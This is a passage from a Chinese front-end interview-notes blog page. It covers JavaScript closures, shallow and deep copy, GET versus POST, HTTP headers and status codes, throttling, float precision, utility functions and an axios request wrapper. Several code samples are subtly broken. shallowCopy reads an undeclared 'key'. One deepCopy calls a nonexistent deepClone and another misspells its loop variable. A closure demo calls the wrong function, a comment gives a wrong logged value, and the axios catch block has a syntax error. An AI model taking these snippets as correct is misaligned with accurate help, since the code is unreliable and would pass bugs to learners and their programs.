class="number">10</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        a++;</span><br><span class="line">        <span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> f = <span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">f</span>()) <span class="comment">// 11</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">f</span>()) <span class="comment">// 12</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">f</span>()) <span class="comment">// 13</span></span><br></pre></td></tr></table></figure><p>闭包案例产生多个相同的随机数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="built_in">parseInt</span>(<span class="title class_">Math</span>.<span class="title function_">random</span>()*<span class="number">10</span>+<span class="number">1</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(a)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> ff=<span class="title function_">fn</span>()</span><br><span class="line"><span class="title function_">f</span>()</span><br><span class="line"><span class="title function_">f</span>()</span><br><span class="line"><span class="title function_">f</span>()</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">100</span></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(a)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> f = <span class="title function_">fn</span>()</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">200</span></span><br><span class="line"><span class="title function_">f</span>() <span class="comment">// 100</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> count = <span class="number">10</span>; <span class="comment">//全局作用域 标记为flag1</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="keyword">var</span> count = <span class="number">0</span>; <span class="comment">//函数全局作用域 标记为flag2</span></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">        count += <span class="number">1</span>; <span class="comment">// 函数的内部作用域</span></span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(count);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> s = <span class="title function_">add</span>()</span><br><span class="line"><span class="title function_">s</span>(); <span class="comment">// 1</span></span><br><span class="line"><span class="title function_">s</span>(); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p>根据作用域链的规则，底层作用域没有声明的变量，会向上一级找，找到就返回，没找到就一直找，直到window的变量，没有就</p><p>返回undefined。这里明显count 是函数内部的flag2 的那个count</p><h2 id="浅拷贝和深拷贝"><a href="#浅拷贝和深拷贝" class="headerlink" title="浅拷贝和深拷贝"></a>浅拷贝和深拷贝</h2><p><strong>什么是浅拷贝？什么是深拷贝？</strong></p><p><strong>浅拷贝</strong>中原始类型为值传递，对象类型仍为引用传递（一般指的是把对象的第一层拷贝到一个新对象上去）；</p><p><strong>深拷贝</strong>中所有属性都可以进行完全的复制，生成一个与原对象完全不相干的对象，也就是新对象中的所有修改都不会在原对象中有所表现</p><p><strong>浅拷贝实现</strong></p><p>使用<strong>Object.assign()</strong>，该方法可以把任意多个的源对象自身的可枚举属性拷贝给目标对象，然后返回目标对象。但是<strong>Object.assign()</strong> 进行的是浅拷贝，拷贝的是对象的属性的引用，而不是对象本身</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123; <span class="attr">count</span>: <span class="number">1</span>, <span class="attr">deep</span>: &#123; <span class="attr">count</span>: <span class="number">2</span> &#125; &#125;;</span><br><span class="line"><span class="keyword">var</span> b = <span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;&#125;, a); <span class="comment">// 该方法适用于数组或者对象</span></span><br><span class="line"><span class="comment">// 或者</span></span><br><span class="line"><span class="keyword">var</span> b = &#123;...a&#125;;</span><br><span class="line"></span><br><span class="line">a.<span class="property">count</span> = <span class="number">2</span>;</span><br><span class="line">b.<span class="property">count</span>; <span class="comment">// 1</span></span><br><span class="line">a.<span class="property">deep</span>.<span class="property">count</span> = <span class="number">5</span>;</span><br><span class="line">b.<span class="property">deep</span>.<span class="property">count</span>; <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p>原生 JS 实现</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">shallowCopy</span>(<span class="params">source</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> newSource = &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span> (item <span class="keyword">in</span> source) &#123;</span><br><span class="line">        <span class="keyword">if</span> (source.<span class="title function_">hasOwnProperty</span>(key)) &#123;</span><br><span class="line">            newSource[key] = source[key];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> newSource;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>深拷贝实现</strong></p><p>常见的是使用<strong>JSON.parse(JSON.stringify())</strong>实现,方法比较简单方便</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123; <span class="attr">count</span>: <span class="number">1</span>, <span class="attr">deep</span>: &#123; <span class="attr">count</span>: <span class="number">2</span> &#125; &#125;;</span><br><span class="line"><span class="keyword">var</span> b = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(<span class="title class_">JSON</span>.<span class="title function_">stringify</span>(a));</span><br><span class="line">b.<span class="property">deep</span>.<span class="property">count</span> = <span class="number">20</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// &#123; count: 1, deep: &#123; count: 2 &#125; &#125; &lt;-- 沒被修改</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// &#123; count: 1, deep: &#123; count: 20 &#125; &#125;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a === b); <span class="comment">// false</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a.<span class="property">deep</span> === b.<span class="property">deep</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><p>原生 JS 实现，递归拷贝</p><p>递归方法实现深度克隆原理：遍历对象、数组直到里边都是基本数据类型，然后再去复制，就是深度拷贝</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">deepCopy</span>(<span class="params">source</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">typeof</span> source !== <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;不是对象&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> isArray = <span class="title class_">Array</span>.<span class="title function_">isArray</span>(source);</span><br><span class="line">    <span class="keyword">let</span> newSource = isArray ? [] : &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> key <span class="keyword">in</span> source) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> source[key] !== <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">            newSource[key] = source[key];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            newSource[key] = <span class="title function_">deepClone</span>(source[key])</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> newSource</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>默写</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">deepCopy</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">typeof</span> data !== <span class="string">&#x27;object&#x27;</span>) <span class="keyword">return</span> <span class="string">&#x27;不是对象&#x27;</span>;</span><br><span class="line">    <span class="keyword">let</span> newData = <span class="title class_">Array</span>.<span class="title function_">isArray</span>(data) ? [] : &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> key <span class="keyword">in</span> data) &#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">typeof</span> data[key] !== <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">            newData[key] = data[key];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            newData[key] = <span class="title function_">deepCopy</span>(data[key])</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> newData;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>JS内存模型图</strong></p><p><img src="https://i.niupic.com/images/2020/02/04/6mSA.jpg" alt="img"></p><ul><li>基本数据类型的特点：直接存储在<strong>栈</strong>(stack)中的数据</li><li>引用数据类型的特点：存储的是该对象在<strong>栈</strong>中<strong>引用地址</strong>，真实的数据存放在<strong>堆</strong>内存里</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">基本数据类型：number  string  boolean  <span class="literal">null</span>  <span class="literal">undefined</span></span><br><span class="line"></span><br><span class="line">引用数据类型：object  array  <span class="keyword">function</span></span><br></pre></td></tr></table></figure><p><strong>基本类型是按值访问的，不会影响到其他数据，而引用类型的值是按地址访问的，简单的赋值，实际上只是把地址复制了一遍，修改任意一个值会影响到另外一个</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 基本数据类型，不影响其他变量</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> b = a;</span><br><span class="line">a = <span class="number">20</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 引用数据类型修改，会影响其他变量</span></span><br><span class="line"><span class="keyword">var</span> a = &#123; <span class="attr">count</span>: <span class="number">10</span> &#125;;</span><br><span class="line"><span class="keyword">var</span> b = a</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b.<span class="property">a</span>) <span class="comment">// 10</span></span><br><span class="line">a.<span class="property">count</span> = <span class="number">20</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b.<span class="property">count</span>) <span class="comment">// 20</span></span><br></pre></td></tr></table></figure><p>从上面可以看出，基本数据类型，不影响其他变量，所以基本类型的值没有深拷贝的概念。而对象a 赋值给了b，JavaScript引擎只是将a的地址赋值给了b，他们指向同一个内存地址，并没有开辟新的栈，当修改a的值，b也被影响了，这就是浅拷贝</p><p>浅拷贝只复制指向某个对象的指针，而不复制对象本身，新旧对象还是共享同一块内存。但深拷贝会另外创造一个一模一样的对象，新对象跟原对象不共享内存，修改新对象不会改到原对象</p><p><strong>简单来说</strong></p><ul><li>赋值操作两个变量指向同一个对象，两者互相影响</li><li>浅拷贝新生成一个对象，对象里面的属性是基本类型，拷贝的就是基本类型的值；如果属性是内存地址（引用类型），拷贝的就是内存地址</li><li>深拷贝会新生成所有对象（值对象里面层层嵌套对象），对象里面的属性是基本类型，拷贝的就是基本类型的值；如果属性是内存地址（引用类型），会新生成一个对象将内容拷贝进去</li></ul><h2 id="GET和POST的区别"><a href="#GET和POST的区别" class="headerlink" title="GET和POST的区别"></a>GET和POST的区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="variable constant_">GET</span> 数据传递是通过 <span class="variable constant_">URL</span> 中的 ? 参数  传递到服务端的，可以在地址栏中看到传递的参数，<span class="variable constant_">POST</span> 数据是通过请求体传递到服务端的，在界面上看不到</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> <span class="variable constant_">GET</span>传递的数据长度有限制，因为 <span class="variable constant_">URL</span> 地址长度有限（<span class="number">2048</span>个字符），<span class="variable constant_">POST</span> 可以提交任何类型的数据，包括文件，没有长度限制</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> <span class="variable constant_">GET</span> 后退不会有影响，<span class="variable constant_">POST</span> 后退会重新进行提交</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> <span class="variable constant_">GET</span> 请求可以被缓存，<span class="variable constant_">POST</span> 不可以被缓存</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> <span class="variable constant_">GET</span> 只支持<span class="variable constant_">URL</span>编码，<span class="variable constant_">POST</span> 支持多种编码方式</span><br><span class="line"></span><br><span class="line"><span class="number">6.</span> <span class="variable constant_">GET</span> 只支持<span class="variable constant_">ASCII</span>字符，<span class="variable constant_">POST</span> 没有字符类型限制</span><br><span class="line"></span><br><span class="line"><span class="number">7.</span> <span class="variable constant_">GET</span> 一般用于数据查询，<span class="variable constant_">POST</span> 一般用于表单提交</span><br></pre></td></tr></table></figure><h2 id="http相关知识点"><a href="#http相关知识点" class="headerlink" title="http相关知识点"></a>http相关知识点</h2><p> <font color="#42B983" size="3"><strong>B/S结构</strong></font>：浏览器-服务器（Browser/Server）结构</p><p> <font color="#42B983" size="3">*<em>C/S结构 *</em></font>：客户端-服务器结构</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">                     权限                   路径</span><br><span class="line">      ┌───────────────┴───────────────┐  ┌───┴────┐</span><br><span class="line"><span class="attr">http</span>:<span class="comment">//username:password@example.com:3000/path/data?key=value&amp;key2=value2#fragid1</span></span><br><span class="line">└┬┘   └───────┬───────┘ └────┬────┘   └┬┘           └─────────┬─────────┘ └──┬──┘</span><br><span class="line">协议        用户信息         主机名     端口                  查询参数          片段</span><br></pre></td></tr></table></figure><p><strong>HTTP 协议</strong></p><p> <strong>超文本传输协议</strong>（<font color="#42B983" size="3"><strong>英文</strong></font>：<strong>HyperText Transfer Protocol</strong>，<font color="#42B983" size="3"><strong>缩写</strong></font>：<font color="#42B983" size="3"><strong>HTTP</strong></font>）是互联网上应用最为广泛的一种<font color="#42B983" size="3"><strong>网络协议</strong></font></p><p><strong>消息结构</strong></p><p><strong>General</strong>（大概）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Request</span> <span class="attr">URL</span>: <span class="attr">http</span>:<span class="comment">//vmiaomalltest.vmiaomall.com/goods?id=eb6a806dcdbb4d96bd32917301125950</span></span><br><span class="line"><span class="title class_">Request</span> <span class="title class_">Method</span>: <span class="variable constant_">GET</span></span><br><span class="line"><span class="title class_">Status</span> <span class="title class_">Code</span>: <span class="number">200</span> <span class="variable constant_">OK</span></span><br><span class="line"><span class="title class_">Remote</span> <span class="title class_">Address</span>: <span class="number">120.79</span><span class="number">.28</span><span class="number">.217</span>:<span class="number">80</span></span><br><span class="line"><span class="title class_">Referrer</span> <span class="title class_">Policy</span>: no-referrer-when-downgrade</span><br></pre></td></tr></table></figure><p><strong>Response Header</strong>（响应头）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Accept</span>-<span class="title class_">Ranges</span>: none</span><br><span class="line"><span class="title class_">Connection</span>: keep-alive</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Encoding</span>: gzip</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Type</span>: text/html; charset=utf-<span class="number">8</span></span><br><span class="line"><span class="title class_">Date</span>: <span class="title class_">Thu</span>, <span class="number">12</span> <span class="title class_">Mar</span> <span class="number">2020</span> <span class="number">03</span>:<span class="number">13</span>:<span class="number">58</span> <span class="variable constant_">GMT</span></span><br><span class="line"><span class="title class_">ETag</span>: <span class="string">&quot;233be-lFVVifPpeSiCXdB4DZHhDRxugJ0&quot;</span></span><br><span class="line"><span class="title class_">Server</span>: openresty/<span class="number">1.13</span><span class="number">.6</span><span class="number">.2</span></span><br><span class="line"><span class="title class_">Transfer</span>-<span class="title class_">Encoding</span>: chunked</span><br><span class="line"><span class="title class_">Vary</span>: <span class="title class_">Accept</span>-<span class="title class_">Encoding</span></span><br></pre></td></tr></table></figure><p><strong>Request Header</strong>（请求头）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><br><span class="line"></span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Connection: keep-alive</span><br><span class="line">Host: vmiaomalltest.vmiaomall.com</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36</span><br></pre></td></tr></table></figure><p><strong>Query String Parameters</strong>（请求参数）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">id</span>: eb6a806dcdbb4d96bd32917301125950</span><br></pre></td></tr></table></figure><h2 id="HTTP状态码"><a href="#HTTP状态码" class="headerlink" title="HTTP状态码"></a>HTTP状态码</h2><table><thead><tr><th>状态码</th><th>描述</th></tr></thead><tbody><tr><td>200</td><td>返回正常</td></tr><tr><td>304</td><td>服务端资源无变化，可使用缓存资源</td></tr><tr><td>400</td><td>请求参数不合法</td></tr><tr><td>401</td><td>未认证</td></tr><tr><td>403</td><td>服务端禁止访问该资源</td></tr><tr><td>404</td><td>服务端未找到该资源</td></tr><tr><td>408</td><td>（请求超时） 服务器等候请求时发生超时</td></tr><tr><td>500</td><td>服务端异常</td></tr></tbody></table><h2 id="函数的节流和防抖"><a href="#函数的节流和防抖" class="headerlink" title="函数的节流和防抖"></a>函数的节流和防抖</h2><p><strong>节流</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">节流的意思是，规定时间内，只触发一次。比如我们设定500ms，在这个时间内，无论点击按钮多少次，它都只会触发一次。具体场景可以是抢购时候，由于有无数人 快速点击按钮，如果每次点击都发送请求，就会给服务器造成巨大的压力，但是我们进行节流后，就会大大减少请求的次数。</span><br></pre></td></tr></table></figure><p><strong>防抖</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">防抖的意思是，在连续的操作中，无论进行了多长时间，只有某一次的操作后在指定的时间内没有再操作，这一次才被判定有效。具体场景可以搜索框输入关键字过程中实时 请求服务器匹配搜索结果，如果不进行处理，那么就是输入框内容一直变化，导致一直发送请求。如果进行防抖处理，结果就是当我们输入内容完成后，一定时间(比如500ms)没有再 输入内容，这时再触发请求。</span><br></pre></td></tr></table></figure><h2 id="0-1-0-2-精度丢失问题"><a href="#0-1-0-2-精度丢失问题" class="headerlink" title="0.1 + 0.2 精度丢失问题"></a>0.1 + 0.2 精度丢失问题</h2><p>0.1和0.2在转换成二进制后会无限循环，由于标准位数的限制后面多余的位数会被截掉，此时就已经出现 了精度的损失，相加后因浮点数小数位的限制而截断的二进制数字在转换为十进制就会变成 0.30000000000000004。</p><p>小数的最大数是 17 位，但是浮点的算数并不总是 100% 精准</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> x = <span class="number">0.2</span> + <span class="number">0.1</span>;         <span class="comment">// x 将是 0.30000000000000004</span></span><br></pre></td></tr></table></figure><p>使用乘除法有助于解决上面的问题</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> x = (<span class="number">0.2</span> * <span class="number">10</span> + <span class="number">0.1</span> * <span class="number">10</span>) / <span class="number">10</span>;       <span class="comment">// x 将是 0.3</span></span><br></pre></td></tr></table></figure><h1 id="常见JS函数封装"><a href="#常见JS函数封装" class="headerlink" title="常见JS函数封装"></a>常见JS函数封装</h1><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 判断对象时候为数组</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isArray</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(arr) === <span class="string">&#x27;[object Array]&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取数组最大值</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">max</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="property">max</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, arr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取数组最小值</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">min</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="property">min</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, arr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组求和</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">sum</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>) =&gt;</span> pre + cur);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组平均值</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">average</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> sum = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a + b);</span><br><span class="line">    <span class="keyword">return</span> sum / arr.<span class="property">length</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组去重</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">uniqueArray</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> a = [];</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span>(a.<span class="title function_">indexOf</span>(arr[i]) === -<span class="number">1</span>) &#123;</span><br><span class="line">            a.<span class="title function_">push</span>(arr[i])</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 深拷贝</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deepCopy</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">typeof</span> data !== <span class="string">&#x27;object&#x27;</span>) <span class="keyword">return</span> <span class="string">&#x27;不是对象&#x27;</span>;</span><br><span class="line">    <span class="keyword">let</span> newData = <span class="title class_">Array</span>.<span class="title function_">isArray</span>(data) ? [] : &#123;&#125;;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> ket <span class="keyword">in</span> data) &#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">typeof</span> data[key] !== <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">            newData[key] = data[key];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            newData[key] = <span class="title function_">deepCopy</span>(data[key]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> newData;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组排序，数组元素都是数字</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">arrSort</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a - b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数组排序，数组元素都是对象</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">arrSort</span>(<span class="params">arr, key</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">i, j</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> a = i[key];</span><br><span class="line">        <span class="keyword">let</span> b = j[key];</span><br><span class="line">        <span class="keyword">if</span>(a &gt; b) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span>(a &lt; b) &#123;</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="http-js"><a href="#http-js" class="headerlink" title="http.js"></a>http.js</h1><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> axios <span class="keyword">from</span> <span class="string">&#x27;axios&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> http = axios.<span class="title function_">create</span>(&#123;</span><br><span class="line"><span class="attr">baseUrl</span>: <span class="string">&#x27;http://vmiaomall.com&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加请求拦截器</span></span><br><span class="line">http.<span class="property">interceptors</span>.<span class="property">request</span>.<span class="title function_">use</span>(<span class="function">(<span class="params">config</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">showloading</span>(); <span class="comment">// 显示加载</span></span><br><span class="line">    config.<span class="property">url</span> = config.<span class="property">url</span> + <span class="string">&#x27;.do&#x27;</span>; <span class="comment">// 在发送请求之前做些什么</span></span><br><span class="line">    <span class="keyword">return</span> config;</span><br><span class="line">  &#125;, <span class="keyword">function</span> (<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(error); <span class="comment">// 对请求错误做些什么</span></span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加响应拦截器</span></span><br><span class="line">axios.<span class="property">interceptors</span>.<span class="property">response</span>.<span class="title function_">use</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">hideLoading</span>(); <span class="comment">// 隐藏加载</span></span><br><span class="line">    <span class="keyword">if</span>(res.<span class="property">data</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> res.<span class="property">data</span>; <span class="comment">// 对响应数据做点什么</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;, <span class="keyword">function</span> (<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(error); <span class="comment">// 对响应错误做点什么</span></span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> http</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> axios <span class="keyword">from</span> <span class="string">&#x27;axios&#x27;</span>;</span><br><span class="line"></span><br><span class="line">axios.<span class="property">defaults</span>.<span class="property">baseURL</span> = <span class="string">&#x27;https://vmiaomall.com/api&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> &#123;</span><br><span class="line">    <span class="title function_">get</span>(<span class="params">url, data = &#123;&#125;, options = &#123;&#125;</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">        axios.<span class="title function_">get</span>(url, &#123; <span class="attr">params</span>: data &#125;).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> &#123;</span><br><span class="line">          <span class="keyword">if</span> (res.<span class="property">status</span> === <span class="number">200</span>) &#123;</span><br><span class="line">            <span class="title function_">resolve</span>(res.<span class="property">data</span>)</span><br><span class="line">          &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title class_">Toast</span>(res.<span class="property">data</span>.<span class="property">msg</span>)</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;).</span><br><span class="line">        <span class="keyword">catch</span>(err = &gt;&#123;</span><br><span class="line">          <span class="title function_">reject</span>(err) <span class="keyword">let</span> errMsg = <span class="string">&#x27;请求失败！请检查网络&#x27;</span>;</span><br><span class="line">          <span class="keyword">if</span> (err.<span class="property">response</span>) errMsg = err.<span class="property">response</span>.<span class="property">data</span>.<span class="property">msg</span> <span class="title class_">Toast</span>(errMsg)</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;)</span><br><span class="line">    &#125;,</span><br><span class="line">        </span><br><span class="line">    <span class="title function_">post</span>(<span class="params">url, data = &#123;&#125;, options = &#123;&#125;</span>) &#123;</span><br><span class="line">      